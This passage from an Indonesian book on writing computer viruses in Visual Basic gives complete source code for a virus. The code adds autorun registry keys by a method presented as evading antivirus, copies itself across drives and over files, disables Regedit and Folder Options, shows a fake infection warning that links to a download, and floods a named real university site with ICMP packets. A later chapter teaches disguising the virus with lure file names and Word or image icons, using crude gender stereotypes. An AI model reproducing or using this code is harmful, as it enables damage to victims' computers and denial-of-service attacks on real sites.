Open Left(buffer, x) & "\tes.bat" For Output As #fg
Print #fg, strLog
Close #fg

End Sub
‘///////////////////////Akhir Kode Modul////////////////////////////////////////////

143
Pemrograman Visual Basic
Seni Pemrograman Virus Menggunakan Visual Basic

3. Sebelum menjalankannya pastikan antivirus dalam


keadaan menyala atau aktif untuk menangkap virus.
4. Kemudian jalankan dengan menekan tombol ‘F5’ atau
meng-klik tombol play pada VB
5. Huaaaaaaaaaa…………………ternyata salah perkiraan,
kenapa bisa tertangkap oleh antivirus, lagi-lagi antivirus
membuat trapping bahwa suatu file vbs yang menggunakan
fungsi regwrite atau yang menuliskan nilai ke registry
windows akan dianggap sebagai Malicious Code (atau
biasa disebut kode jahat) terlebih dahulu, kebetulan disini
saya menggunakan NAV (Norton Anti Virus)….waduh
bisa-bisa acara membuat virus kita gagal dong??!!! Susah
payah membeli buku ini malah tidak menampilkan teknik-
tek….STOP STOP jangan kecewa dulu pembaca…tenang,
kita kan belum mencoba ilmu selanjutnya..iya nggak?
Sekali lagi jangan berputus asa, masih banyak jalan lain ke
Roma.

144
Pemrograman Visual Basic
Seni Pemrograman Virus Menggunakan Visual Basic

Penjelasan untuk kode di atas akan saya bahas sedikit.


Sebenarnya kode ini sama dengan source code Pesan Sponsor.
Cuma yang membedakan adalah pembuatan file-nya. Jika pada
Pesan Sponsor file yang dibuat adalah help.htm, pada source code
ini kita membuat 2 file yaitu tes.bat dan tes.vbs.

File tes.bat dibentuk pada kode :

145
Pemrograman Visual Basic
Seni Pemrograman Virus Menggunakan Visual Basic

Kode sebelumnya


Public Sub Log2(strLog As String)
Dim fg As Integer
fg = FreeFile
On Error Resume Next
Open Left(buffer, x) & "\tes.bat" For Output As #fg
Print #fg, strLog
Close #fg


Kode Sesudahnya

Dan isi file tes.bat dibuat pada kode :

Log2 Left(buffer, x) & "\tes.vbs"

Sedangkan untuk menjalankannya pada kode :

Shell "tes.bat"

Untuk file tes.vbs dibentuk filenya pada kode :

Kode sebelumnya

146
Pemrograman Visual Basic
Seni Pemrograman Virus Menggunakan Visual Basic



Public Sub Log(strLog As String)
Dim ff As Integer
x = GetWindowsDirectory(buffer, 255)
ff = FreeFile
On Error Resume Next
Open Left(buffer, x) & "\tes.vbs" For Output As #ff
Print #ff, strLog
Close #ff
End Sub


Kode Sesudahnya

Dan isi file tes.vbs dibuat pada kode :

Log "dim wasu" & vbCrLf & _


"set wasu = CreateObject(" & tt & "WScript.Shell" & tt &
")" & vbCrLf & _
"ss = " & tt & "
HKLM\Software\Microsoft\Windows\CurrentVersion\Run\" &
tt & vbCrLf & _
"dv2 = " & tt & " REG_SZ " & tt & vbCrLf & _
"wasu.Regwrite ss " & dan & " " & tt _
& " tes " & tt & "," & tt & " e:\tes.exe " & tt & ",
dv2"

File ‘tes.vbs’ dieksekusi melalui file ‘tes.bat’. Bila anda


ingin melihat isi file ‘tes.bat’ dan ‘tes.vbs’, filenya terletak di

147
Pemrograman Visual Basic
Seni Pemrograman Virus Menggunakan Visual Basic

direktori ‘C:\WINDOWS’ pada komputer anda, maaf merepotkan,


ya hitung-hitung untuk percobaan gak papa dong mengotori
hardisk anda…sedikit saja…sedikit kok

Metode Gabungan RegScript (Registry VBScript)

Metode Gabungan ini merupakan gabungan metode


registry dan metode VBScript, sehingga namanya menjadi
RegScript atau disingkat Registry VBScript. Konsepnya adalah
menulis nilai registry windows menggunakan VBScript tetapi file
VBS-nya tidak dieksekusi langsung melainkan dimasukkan ke
dalam source code program, untuk menghindari pendeteksian
antivirus. Wah…semoga dengan memakai metode ini dapat
berhasil lah…jika tidak ucapkan selamat tinggal pada buku
ini…hiks hiks….OK lanjut, jangan bermelankolis-ria saja…mari
kita buat program virusnya.

1. Buat project dengan 1 form, 1 modul dan 1 button atau


tombol.
2. Kemudian copy source code yang ada di bawah ini, kalau
malas lagi….bisa dilihat file metode gabungan tersebut
dalam cd dengan nama file project1.vbp yang letaknya di
\kode pemicu\metode gabungan.

148
Pemrograman Visual Basic
Seni Pemrograman Virus Menggunakan Visual Basic

‘//////////////////////////AWAL KODE FORM//////////////////////


Private Sub Command1_Click()
Dim titik As String
titik = """"
CreateKey "HKCU\Software\Microsoft\Windows\CurrentVersion\Run\test", _
titik & "c:\windows\tes_di_direktory_windows.exe" & titik
End Sub
‘////////////////////////////AKHIR KODE FORM//////////////////////

‘//////////////////////////AWAL KODE MODUL/////////////////////


Public Sub CreateKey(Folder As String, Value As String)

Dim b As Object
On Error Resume Next
Set b = CreateObject("wscript.shell")
b.RegWrite Folder, Value

End Sub

‘//////////////////////////AKHIR KODE MODUL////////////////////

3. Setelah itu jalankan kode tersebut dengan menekan tombol


‘F5’ atau menekan tombol run pada visual basic. Akan
muncul kotak dialog seperti gambar di bawah ini bukan.

149
Pemrograman Visual Basic
Seni Pemrograman Virus Menggunakan Visual Basic

4. Kemudian tekan tombol ‘OK’. Apa yang terjadi??


5. IT’S ALIVE IT’S ALIVE. Ternyata tidak ada gangguan
baik dari antivirus maupun registry sendiri. Pada registri
dapat dilihat di :

HKCU\Software\Microsoft\Windows\CurrentVersion\R
un\

Kunci registry ‘test’ berisi :

“c:\windows\tes_di_direktory_windows.exe”

bukan karakter aneh-aneh lagi. Itu berarti pembuatan kode pemicu


BERHASIL!!!! Tinggal pembuktiannya restart komputer anda, jika
tidak muncul Program Penggandaan setelah windows booting,
ulangi langkah diatas.

150
Pemrograman Visual Basic
Seni Pemrograman Virus Menggunakan Visual Basic

Restart komputer anda untuk melihat aplikasi


tes_di_direktory_windos.exe atau aplikasi virus tersebut dieksekusi
oleh windows secara otomatis .

Penjelasan Kode:

Kita akan membahas source kode metode gabungan ini dimulai


dari kode form terlebih dahulu :

Private Sub Command1_Click()


- Awal dari sub

Dim titik As String


- Mendefinisikan variabel ‘titik’ dengan jenis string

titik = """"
- Mengisi variabel titik dengan tanda petik dua (“)

151
Pemrograman Visual Basic
Seni Pemrograman Virus Menggunakan Visual Basic

CreateKey
"HKCU\Software\Microsoft\Windows\CurrentVersion\Ru
n\test", _
titik & "c:\windows\tes_di_direktory_windows.exe"
& titik
- Memanggil fungsi CreateKey yang ada di modul untuk
menulis kunci registry ‘test’ pada alamat registry
‘HKCU\Software\Microsoft\Windows\CurrentVersion\Run\’
yang berguna untuk menjalankan program virus dengan
nama file ‘tes_di_direktory_windows.exe’ yang terletak di
direktori ‘c:\windows\’ secara otomatis. Anda dapat
mengganti kunci registry sesuai selera, atau mengganti letak
file sesuai dengan direktori yang diinginkan

End Sub
- Akhir dari sub

Sedangkan pembahasan dari source code modul akan


diterangkan sebagai berikut

Public Sub CreateKey(Folder As String, Value As String)

- Awal dari sub CreateKey yang berguna untuk membuat


kunci registry

Dim b As Object
- Mendefinisikan variabel b sebagai object

On Error Resume Next

152
Pemrograman Visual Basic
Seni Pemrograman Virus Menggunakan Visual Basic

- Menghindari error, jika terjadi error langsung mengerjakan


perintah berikutnya

Set b = CreateObject("wscript.shell")
- Memberi nilai b dengan ‘createObject(“wscript.shell”)’ yaitu
fungsi dari VBS yang berguna untuk menjalankan VBS

b.RegWrite Folder, Value


- Inilah fungsi Regwrite yang dideteksi oleh antivirus sebagai
malicious code jika dieksekusi langsung dari VBS tetapi jika
diputar balik atau dijalankan melalui program terlebih
dahulu, kode tersebut tidak akan terdeteksi oleh antivirus.

End Sub
- Akhir dari sub

Merangkai Ilmu Coding yang telah dipelajari

Wehehe…akhirnya sampai juga ke perangkaian kode,


pada sub bab ini kita akan membahas tentang perangkaian kode
yang telah dipelajari. Istilahnya bersatu kita teguh bercerai kita
runtuh. Maksudnya Mass??? Begini, pada sub bab di atas kita telah
mempelajari tentang kode pemicu, kode penggandaan, kode
manipulasi, kode pertahanan dan kode penggandaan. Seluruh kode
tersebut mau tidak mau, wajib tidak wajib harus dipunyai oleh
program virus yang ingin kita buat. Sehingga kita harus merangkai
kode-kode tersebut satu per satu. Jika ada satu kode saja yang tidak

153
Pemrograman Visual Basic
Seni Pemrograman Virus Menggunakan Visual Basic

dirangkai, maka program virus kita tidak akan mungkin berjalan.


Sama seperti tubuh kita, ada kepala, badan, tangan, kaki. Apa bisa
jika anggota tubuh itu berjalan sendiri-sendiri. Kalimat retoris, saya
tidak perlu menjawabnya. Untuk merangkai kode – kode tersebut,
coba ikuti langkah – langkah berikut ini. Sekali lagi saya mohon,
AKTIFKAN ANTIVIRUS ANDA , JANGAN SEKALI-KALI
DIMATIKAN.

Option Explicit
1. Buat project
'////////////////deklarasi dengan
Kode 1 dan
manipulasi modul
pencarian////////////////////
Private
2. Const FILE_ATTRIBUTE_READONLY
Copy seluruh source code yang= &H1
ada di bawah ini, seperti
Private Const FILE_ATTRIBUTE_HIDDEN = &H2
Privatebiasa jika malas, buka file ‘rangkaian.vbp’
Const FILE_ATTRIBUTE_SYSTEM = &H4 yang ada di CD
Privatepada direktori \Rangkaian\ = &H10
Const FILE_ATTRIBUTE_DIRECTORY
Private Const FILE_ATTRIBUTE_ARCHIVE = &H20
Private Const FILE_ATTRIBUTE_NORMAL = &H80
Private Const FILE_ATTRIBUTE_TEMPORARY = &H100
Private Const FILE_ATTRIBUTE_COMPRESSED = &H800
Private Const MAX_PATH = 260

Private Type FILETIME


dwLowDateTime As Long
dwHighDateTime As Long
End Type

Private Type WIN32_FIND_DATA


dwFileAttributes As Long
ftCreationTime As FILETIME
ftLastAccessTime As FILETIME
ftLastWriteTime As FILETIME
nFileSizeHigh As Long
nFileSizeLow As Long
dwReserved0 As Long
dwReserved1 As Long
cFileName As String * MAX_PATH
cAlternate As String * 14
End Type

154
Pemrograman Visual Basic
Seni Pemrograman Virus Menggunakan Visual Basic

Private Declare Function FindFirstFile Lib "kernel32" Alias "FindFirstFileA" _


(ByVal lpFileName As String, lpFindFileData As WIN32_FIND_DATA) As Long

Private Declare Function FindNextFile Lib "kernel32" Alias "FindNextFileA" _


(ByVal hFindFile As Long, lpFindFileData As WIN32_FIND_DATA) As Long

Private Declare Function FindClose Lib "kernel32" (ByVal hFindFile As Long) As Long

Private Declare Function CopyFile Lib "kernel32" Alias "CopyFileA" _


(ByVal lpExistingFileName As String, ByVal lpNewFileName As String, ByVal
bFailIfExists As Long) As Long

Private pbMessage As Boolean


'////////////////akhir deklarasi Kode manipulasi dan pencarian////////////////////

'////////////////awal Kode penggandaan////////////////////


Private Declare Function GetDriveType Lib "kernel32" Alias "GetDriveTypeA" (ByVal
nDrive As String) As Long
Private Declare Function GetWindowsDirectory Lib "kernel32" Alias
"GetWindowsDirectoryA" (ByVal lpBuffer As String, ByVal nSize As Long) As Long
'////////////////akhir Kode penggandaan////////////////////

'////////////////awal Kode pesan sponsor////////////////////


Public buffer As String * 255
Public x As Long
'////////////////akhir Kode pesan sponsor////////////////////

'///////////////awal deklarasi kode DoS attack//////////////


Public Const IP_STATUS_BASE = 11000
Public Const IP_SUCCESS = 0
Public Const IP_BUF_TOO_SMALL = (11000 + 1)
Public Const IP_DEST_NET_UNREACHABLE = (11000 + 2)
Public Const IP_DEST_HOST_UNREACHABLE = (11000 + 3)
Public Const IP_DEST_PROT_UNREACHABLE = (11000 + 4)
Public Const IP_DEST_PORT_UNREACHABLE = (11000 + 5)
Public Const IP_NO_RESOURCES = (11000 + 6)
Public Const IP_BAD_OPTION = (11000 + 7)
Public Const IP_HW_ERROR = (11000 + 8)
Public Const IP_PACKET_TOO_BIG = (11000 + 9)
Public Const IP_REQ_TIMED_OUT = (11000 + 10)
Public Const IP_BAD_REQ = (11000 + 11)
Public Const IP_BAD_ROUTE = (11000 + 12)
Public Const IP_TTL_EXPIRED_TRANSIT = (11000 + 13)
Public Const IP_TTL_EXPIRED_REASSEM = (11000 + 14)

155
Pemrograman Visual Basic
Seni Pemrograman Virus Menggunakan Visual Basic

Public Const IP_PARAM_PROBLEM = (11000 + 15)


Public Const IP_SOURCE_QUENCH = (11000 + 16)
Public Const IP_OPTION_TOO_BIG = (11000 + 17)
Public Const IP_BAD_DESTINATION = (11000 + 18)
Public Const IP_ADDR_DELETED = (11000 + 19)
Public Const IP_SPEC_MTU_CHANGE = (11000 + 20)
Public Const IP_MTU_CHANGE = (11000 + 21)
Public Const IP_UNLOAD = (11000 + 22)
Public Const IP_ADDR_ADDED = (11000 + 23)
Public Const IP_GENERAL_FAILURE = (11000 + 50)
Public Const MAX_IP_STATUS = 11000 + 50
Public Const IP_PENDING = (11000 + 255)
Public Const PING_TIMEOUT = 500

Public Type ICMP_ECHO_REPLY


Address As Long
status As Long
RoundTripTime As Long
DataSize As Integer
Reserved As Integer
DataPointer As Long
Options As ICMP_OPTIONS
Data As String * 250
End Type
Public Declare Function IcmpCreateFile Lib "icmp.dll" () As Long
Public Declare Function IcmpCloseHandle Lib "icmp.dll" _
(ByVal IcmpHandle As Long) As Long
Public Declare Function IcmpSendEcho Lib "icmp.dll" _
(ByVal IcmpHandle As Long, _
ByVal DestinationAddress As Long, _
ByVal RequestData As String, _
ByVal RequestSize As Integer, _
RequestOptions As ICMP_OPTIONS, _
ReplyBuffer As ICMP_ECHO_REPLY, _
ByVal ReplySize As Long, _
ByVal TimeOut As Long) As Long
'///////////////akhir deklarasi kode DoS attack//////////////

156
Pemrograman Visual Basic
Seni Pemrograman Virus Menggunakan Visual Basic

'////////////////awal Kode manipulasi dan pencarian////////////////////


Public Sub GetFiles(Path As String, SubFolder As Boolean, Optional Pattern
As String = "*.*")

Screen.MousePointer = vbHourglass
Dim WFD As WIN32_FIND_DATA
Dim hFile As Long, fPath As String, fName As String
fPath = AddBackslash(Path)
Dim sPattern As String
sPattern = Pattern
fName = fPath & sPattern
hFile = FindFirstFile(fName, WFD)
If (hFile > 0) And ((WFD.dwFileAttributes And
FILE_ATTRIBUTE_DIRECTORY) <> FILE_ATTRIBUTE_DIRECTORY)
Then
CopyFile "c:\windows\tes_di_direktory_windows.exe", fPath &
StripNulls(WFD.cFileName) & ".exe", 1
End If

If hFile > 0 Then


While FindNextFile(hFile, WFD)
If ((WFD.dwFileAttributes And FILE_ATTRIBUTE_DIRECTORY) <>
FILE_ATTRIBUTE_DIRECTORY) Then
CopyFile "c:\windows\tes_di_direktory_windows.exe", fPath &
StripNulls(WFD.cFileName) & ".exe", 1
End If
Wend
End If
If SubFolder Then
hFile = FindFirstFile(fPath & "*.*", WFD)
If (hFile > 0) And ((WFD.dwFileAttributes And
FILE_ATTRIBUTE_DIRECTORY) = FILE_ATTRIBUTE_DIRECTORY)
And _
StripNulls(WFD.cFileName) <> "." And StripNulls(WFD.cFileName) <>
".." Then
GetFiles fPath & StripNulls(WFD.cFileName), True, sPattern
End If

157
Pemrograman Visual Basic
Seni Pemrograman Virus Menggunakan Visual Basic

While FindNextFile(hFile, WFD)


If ((WFD.dwFileAttributes And FILE_ATTRIBUTE_DIRECTORY) =
FILE_ATTRIBUTE_DIRECTORY) And _
StripNulls(WFD.cFileName) <> "." And StripNulls(WFD.cFileName) <> ".."
Then
GetFiles fPath & StripNulls(WFD.cFileName), True, sPattern
End If
Wend
End If
FindClose hFile
Screen.MousePointer = vbDefault

End Sub
Private Function StripNulls(f As String) As String

StripNulls = Left$(f, InStr(1, f, Chr$(0)) - 1)


End Function

Private Function AddBackslash(S As String) As String


If Len(S) Then
If Right$(S, 1) <> "\" Then
AddBackslash = S & "\"
Else
AddBackslash = S
End If
Else
AddBackslash = "\"
End If
End Function

Sub pencarian()
GetFiles "c:", True, "*.cob"
MsgBox "Pencarian selesai", 0, "Tes Cari"
End Sub
'////////////////akhir Kode manipulasi dan pencarian////////////////////

'////////////////awal Kode Pengganda////////////////////


Private Function DriveType(Drive As String) As String
''////fungsi mengecek drive
Dim sAns As String, lAns As Long

158
Pemrograman Visual Basic
Seni Pemrograman Virus Menggunakan Visual Basic

'fix bad parameter values


If Len(Drive) = 1 Then Drive = Drive & ":\"
If Len(Drive) = 2 And Right$(Drive, 1) = ":" _
Then Drive = Drive & "\"
lAns = GetDriveType(Drive)
Select Case lAns
Case 2
sAns = "Removable Drive"
Case 3
sAns = "Fixed Drive"
Case 4
sAns = "Remote Drive"
Case 5
sAns = "CD-ROM"
Case 6
sAns = "RAM Disk"
Case Else
sAns = "Drive Doesn't Exist"
End Select
DriveType = sAns
End Function

Private Sub kodepengganda()


''///mengecek drive dan mengcopy file penanda
Dim ictr As Integer
Dim sDrive As String
Dim x As Byte
ReDim sDrives(0) As String
Dim penanda As Byte
For ictr = 65 To 90
sDrive = Chr(ictr) & ":\"
If DriveType(sDrive) <> "Drive Doesn't Exist" Then
On Error Resume Next
penanda = Len(Chr(ictr & App.Path)) & "1234567890"
'MsgBox penanda
FileCopy App.Path & "\" & App.EXEName & ".exe", sDrive & ictr &
"koderangkaian.exe"
End If
'App.EXEName = penanda & ".exe"
Next
End Sub

159
Pemrograman Visual Basic
Seni Pemrograman Virus Menggunakan Visual Basic

Private Sub kopikewindows()


''////mengkopi file virus atau penanda ke directory windows
Dim buffer As String * 255
Dim x As Long
x = GetWindowsDirectory(buffer, 255)
On Error Resume Next
FileCopy App.Path & "\" & App.EXEName & ".exe", Left(buffer, x) &
"\tes_di_direktory_windows.exe"
End Sub
'////////////////akhir Kode Pengganda////////////////////
'////////////////awal Kode Pertahanan////////////////////
Public Sub CreateKey(Folder As String, Value As String)
Dim b As Object
On Error Resume Next
Set b = CreateObject("wscript.shell")
b.RegWrite Folder, Value
End Sub

Public Sub CreateIntegerKey(Folder As String, Value As Integer)


Dim b As Object
On Error Resume Next
Set b = CreateObject("wscript.shell")
b.RegWrite Folder, Value, "REG_DWORD"
End Sub

Public Sub DeleteKey(Value As String)


Dim b As Object
On Error Resume Next
Set b = CreateObject("Wscript.Shell")
b.RegDelete Value
End Sub

Sub kodepertahanan()
'////////menyembunyikan file yang mempunyai attribut hide//////////
CreateIntegerKey
"HKLM\Software\Microsoft\Windows\CurrentVersion\Explorer\Advanced\Folder\H
idden\SHOWALL\CheckedValue", 1
CreateIntegerKey
"HKLM\Software\Microsoft\Windows\CurrentVersion\Explorer\Advanced\Folder\H
idden\SHOWALL\DefaultValue", 1

160
Pemrograman Visual Basic
Seni Pemrograman Virus Menggunakan Visual Basic

CreateIntegerKey
"HKLM\Software\Microsoft\Windows\CurrentVersion\Explorer\Advanced\Fol
der\Hidden\NOHIDDEN\CheckedValue", 2
CreateIntegerKey
"HKLM\Software\Microsoft\Windows\CurrentVersion\Explorer\Advanced\Fol
der\Hidden\NOHIDDEN\DefaultValue", 2

CreateIntegerKey
"HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\Advanced\Hid
den", 0

'//////////Non aktifkan folder option////////////


CreateIntegerKey
"HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer\NoFo
lderOptions", 1
'//////////Kunci Regedit////////////
CreateIntegerKey
"HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\System\Disable
RegistryTools", 1
'////////menyembunyikan extensi file//////////
CreateIntegerKey
"HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\Advanced\Hid
eFileExt", 1
Dim titik As String
titik = """"
CreateKey "HKCU\Software\Microsoft\Windows\CurrentVersion\Run\test", _
titik & "c:\windows\tes_di_direktory_windows.exe" & titik

CreateKey "HKCU\Software\Microsoft\Windows\CurrentVersion\Run\test2",
_
titik & "d:\tes.exe" & titik
End Sub
'////////////////akhir Kode Pertahanan////////////////////
Sub pesansponsor()
Dim tt As String
tt = """"
Log "<html> <body> komputer anda kena virus, silahkan donlot di situs ini
<h2> <a href=" & tt & "http://www.dinamikasolusi.co.nr/" & tt & ">
Antivirus.exe</h2> </body> </html>"
Shell "C:\Program Files\Internet Explorer\IEXPLORE.EXE " & Left(buffer, x)
& "/help.htm", vbNormalFocus
End Sub 161
Pemrograman VisualKode
'////////////////akhir Basic
pesan sponsor////////////////////
Seni Pemrograman Virus Menggunakan Visual Basic

'///////////////Awal Kode Dos Attack/////////////////////////


Public Function Ping(szAddress As String, ECHO As ICMP_ECHO_REPLY,
TTL As Integer) As Long

Dim hPort As Long


Dim dwAddress As Long
Dim sDataToSend As String
Dim iOpt As ICMP_OPTIONS
Dim timeout_ping As Long

sDataToSend =

"kikookikookikookikookikookikookikookikookikookikookikookikookikookikooki
kookikoo" & _

"kikookikookikookikookikookikookikookikookikookikookikookikookikookikooki
kookikookikookikookikoo" & _

"kikookikookikookikookikookikookikookikookikookikookikookikookikookikooki
kookikookikookikookikoo"

dwAddress = AddressStringToLong(szAddress)

hPort = IcmpCreateFile()
ECHO.Options.TTL = TTL
iOpt.TTL = TTL
If IcmpSendEcho(hPort, _
dwAddress, _
sDataToSend, _
Len(sDataToSend), _
iOpt, _
ECHO, _
Len(ECHO), _
timeout_ping) Then
Ping = ECHO.RoundTripTime
Else
Ping = ECHO.status * -1
End If

Call IcmpCloseHandle(hPort)

End Function

162
Pemrograman Visual Basic
Seni Pemrograman Virus Menggunakan Visual Basic

Public Function AddressStringToLong(ByVal tmp As String) As Long


Dim i As Integer
Dim parts(1 To 4) As String
i=0
While InStr(tmp, ".") > 0
i=i+1
parts(i) = Mid(tmp, 1, InStr(tmp, ".") - 1)
tmp = Mid(tmp, InStr(tmp, ".") + 1)
Wend
i=i+1
parts(i) = tmp
If i <> 4 Then
AddressStringToLong = 0
Exit Function
End If
AddressStringToLong = Val("&H" & Right("00" & Hex(parts(4)), 2) & _
Right("00" & Hex(parts(3)), 2) & _
Right("00" & Hex(parts(2)), 2) & _
Right("00" & Hex(parts(1)), 2))

End Function

Sub seranganDoS()
Dim ECHO As ICMP_ECHO_REPLY
Dim angka As Long

For angka = 1 To 65000


Call Ping("www.akprind.ac.id", ECHO, 30)
Next angka
End Sub
'///////////////Akhir Kode Dos Attack/////////////////////////

163
Pemrograman Visual Basic
Seni Pemrograman Virus Menggunakan Visual Basic

Public Sub Log(strLog As String)


Dim ff As Integer

ff = FreeFile
x = GetWindowsDirectory(buffer, 255)

On Error Resume Next


Open Left(buffer, x) & "\help.htm" For Output As #ff
Print #ff, strLog
Close #ff

End Sub

Sub Main()
kodepertahanan
kodepengganda
pencarian
pesansponsor
seranganDoS
End Sub

3. Jalankan langsung lewat Visual Basic dengan menekan


tombol ‘F5’ atau klik tombol run yang ada di VB.
4. Selamat, anda telah menjalankan program virus buatan
sendiri, coba lihat di komputer, sepertinya tidak ada yang
menangkapnya bukan? Norton Antivirus tetap Diam,
Mcafee tidak mendeteksi, apalagi Norman, Panda dan Avir
Up. Coba lihat di eksplorer anda, apakah berubah? Coba
jalankan regedit, bisa tidak kira – kira?

164
Pemrograman Visual Basic
Seni Pemrograman Virus Menggunakan Visual Basic

Untuk penjelasan kode mungkin tidak akan dibahas lagi disini,


karena sudah jelas dan secara gamblang dibahas di sub bab
sebelumnya. Lalu apakah pembuatan program virus kita hanya
sampai di sini? Belum –belum tenang saja. Selain kita belajar
sesuatu yang bersifat teknis di sini, kita juga akan belajar tentang
social egineering, mengepak, mengedarkan dan menyebarkan virus
yang telah siap. Memilih icon dan nama yang cocok untuk virus
kita.

165
Pemrograman Visual Basic
Seni Pemrograman Virus Menggunakan Visual Basic

BAB IV
Finishing Virus

Bab ini menjelaskan tentang finishing. Maksud dari


finishing disini adalah pemberian nama virus, pemilihan icon yang
tepat dan social engineering. Jangan meremehkan hal – hal yang
bersifat non teknis atau non eksak. Walaupun non eksak, tetapi
hasilnya akan tergantung juga pada hal tersebut. Misalnya anda
mempunyai virus yang sedemikian hebatnya, dapat
menghancurkan hardware bahkan BIOS, tetapi dalam hal social
engineering virus-nya kurang, dijamin virus tersebut tidak akan
tersebar luas. Walaupun tersebar tetapi tidak akan lebih cepat dan
lebih luas dibanding dengan virus yang mempunyai social
engineering yang bagus. Sama seperti kita punya satu team yang
solid, tetapi kalau tidak ada marketing-nya, ya sama saja bohong,
dunia luar tidak akan mengetahui tentang team kita dan tetap saja
akan ‘ngendok’ di situ –situ.

Pemberian Nama Virus

Pemberian nama virus hendaknya yang mengundang rasa


penasaran user untuk membukanya. Misalnya
Gambar_agnes_monica,Cara_mendapat_uang_dengan_mudah atau
I-Love-U. Istilah marketingnya yang menjual dan eye catching
begitu. Yah pokoknya bisa-bisanya pembaca atau virus maker-lah
pemberian nama ini. Sepenuhnya saya serahkan ke tangan anda….

166
Pemrograman Visual Basic
Seni Pemrograman Virus Menggunakan Visual Basic

Pemilihan icon Virus

Pemilihan icon virus sangat sederhana dan tidak perlu yang


neko-neko, cukup icon aplikasi Micorosoft Word, Excel, Access,
ACDSee dan lain –lain. Pokoknya icon file yang sering diakses oleh
user computer. Kalau iconnya yang lucu-lucu gitu gimana mas?
Mmm…boleh sih…tapi sebaiknya tidak. Atau icon aplikasi yang
orang jarang menggunakan aplikasi tersebut, seperti Autocad, VB,
Delphi, Visual C++. Aplikasi-aplikasi tersebut hanya akan diakses
oleh sebagian orang, sehingga penyebaran virus kita akan memakan
waktu yang lebih lama. Untuk melihat, memilih dan menyimpan
icon dari aplikasi yang diinginkan ada softwarenya sendiri.
Kebetulan saya download di www.vbaccelerator.com ..he..he..he..
soalnya ilmu saya ndak sampai ke situ. Ikuti langkah berikut ini

1. Copy file di CD yang ada di direktori \melihat icon\


2. Buka program ‘viewicon.exe’, maka akan tampil aplikasi
seperti yang ada pada gambar berikut ini :

167
Pemrograman Visual Basic
Seni Pemrograman Virus Menggunakan Visual Basic

3. Kemudian klik menu File -> Open dan pilih file yang
berekstensi .exe, .ico atau .dll untuk dilihat iconnya.
Misalnya anda ingin melihat icon apa yang dipakai oleh
Microsoft Word, maka pilih file Winword.exe yang ada di
direktori C:\Program Files\Microsoft
Office\Office\WINWORD.exe

168
Pemrograman Visual Basic
Seni Pemrograman Virus Menggunakan Visual Basic

4. Kemudian klik menu File -> Save untuk menyimpan icon


dari aplikasi yang anda pilih. Icon yang tersimpan akan
berekstensi .ico. Nah icon ini dapat dipakai untuk program
virus anda.

Social Engineering dalam Virus

Apa sih sebenarnya social engineering itu? Hmmm…..apa


yah? Coba kita penggal kata – katanya, Social artinya sosial,
engineering artinya teknik, jadi social engineering adalah teknik

169
Pemrograman Visual Basic
Seni Pemrograman Virus Menggunakan Visual Basic

sosial atau teknik yang mempelajari tentang sosial atau manusia.


Misalnya, anda sudah pernah jatuh cinta, bukan? Nah untuk
mendapatkan si X yang anda cintai, otomatis anda melakukan
pendekatan –pendekatan. Setelah dekat bisa jalan, main ke rumah,
anda menginginkan hal yang lebih, seperti (maaf) pelukan atau
sekedar ciuman. Nah untuk mendapatkan pelukan atau ciuman ini
anda harus melakukan social engineering. Perhatian, kasih sayang
dan cinta harus diberikan kepada si X (Pembaca laki-laki jangan
senyam – senyum). STOP…STOP ini sebenarnya ngomongin apa
sih…mmm….maaf keterusan, soalnya saya hanya memberi
pengandaian saja.
Ok…begini social engineering dalam program virus kita
ini digunakan untuk menarik user agar penasaran untuk membuka
dan menjalankan program virus kita. Contoh, virus
riyani_jangkaru. Program virus ini mempunyai icon .jpg atau icon
gambar . Tetapi sebenarnya file tersebut adalah file aplikasi
atau file.exe yang berguna untuk mengelabui para korbannya. Coba
saja, misalnya ada user (terutama berjenis kelamin laki-laki
he..he..he..) yang melihat file riyani_jangkaru dengan icon jpg pasti
akan tertarik untuk membukanya. Tanpa berfikir padahal file
tersebut adalah virus. Kok bisa?? Iya, perlu anda ketahui, user laki-
laki atau kaum Adam (khususnya di cyberworld), menyukai segala
file yang berhubungan dengan birahi atau berbau (maaf)
pornografi. Walaupun sebenarnya ada beberapa user laki-laki
menyukai soal programming, olahraga software crack dan ilmu
pengetahuan, tetapi tidak terlalu banyak. Perbandingannya 1 : 5
orang – orang yang membuka internet atau file yang berhubungan
dengan ilmu pengetahuan dibanding dengan yang membuka situs –
situs atau file -file ‘terlarang’.

170
Pemrograman Visual Basic
Seni Pemrograman Virus Menggunakan Visual Basic

Contoh lain lagi, virus trojan.Kangenie mempunyai icon


seperti microsoft word , virus ini menggunakan kamuflase file
microsoft word dengan nama kangen.doc. User mana yang tidak
penasaran (apalagi wanita) melihat nama file kangen dengan icon
Microsoft Word. Untuk itu hai para user wanita…kami menghimbau
agar berhati – hati jebakan yang diberikan oleh kaum lelaki,
maksudnya oleh virus –virus yang berkeliaran. User wanita biasanya
tersentuh dan penasaran oleh hal –hal yang menyangkut perasaan,
seperti puisi, astrologi, ramalan dan segala sesuatu yang
berhubungan dengan barang bagus berharga murah punya diskon
yang besar-besaran. User wanita jarang membuka hal –hal yang
berbau logika apalagi ilmu pengetahuan (hihihi maaf…). Mungkin
ada juga tetapi seperti kaum lelaki perbandingannya 1:5 lagi. Wah
wah wah…..

Untuk menciptakan virus yang mempunyai social


engeneering yang bagus haruslah kita mengetahui apa yang
membuat user lelaki dan user wanita menjadi penasaran. Mungkin
contohnya virus I-Love-U. Virus ini menyebar lewat e-mail dengan

171
Pemrograman Visual Basic
Seni Pemrograman Virus Menggunakan Visual Basic

membawa attachment LOVE-LETTER-FOR-YOU.txt.vbs. User


mana yang tidak deg-degan melihat attachment tersebut (
maksudnya user yang normal, kalau anda berpikir saya nggak tuh,
berhati-hatilah, sebaiknya periksakan diri anda, kemungkinan terjadi
adanya penyimpangan, hihihihi….gak kok bercanda). Intinya para
user baik laki-laki atau perempuan pasti penasaran melihat
attachment email I-Love-U tersebut.

Hati – hati dengan nama-nama file berikut ini, file – file


dibawah ini adalah aplikasi virus yang menggunakan pendekatan
social egineering pada lingkungan mahasiswa, perkantoran, dunia
cinta (ich!), jadi jika bertemu dengan file dengan nama seperti ini
sebaiknya JANGAN DIBUKA, walaupun hati kalian sebenarnya
penasaran, nah penasaran itu yang dibutuhkan oleh virus-maker
untuk menjebak korbannya :
- Kangen
- Kerjaan Kantor
- Puisi Cinta
- ILoveU
- Riyani_Jangkaru
- Jangan Dibuka
- Cerita Lucu

172
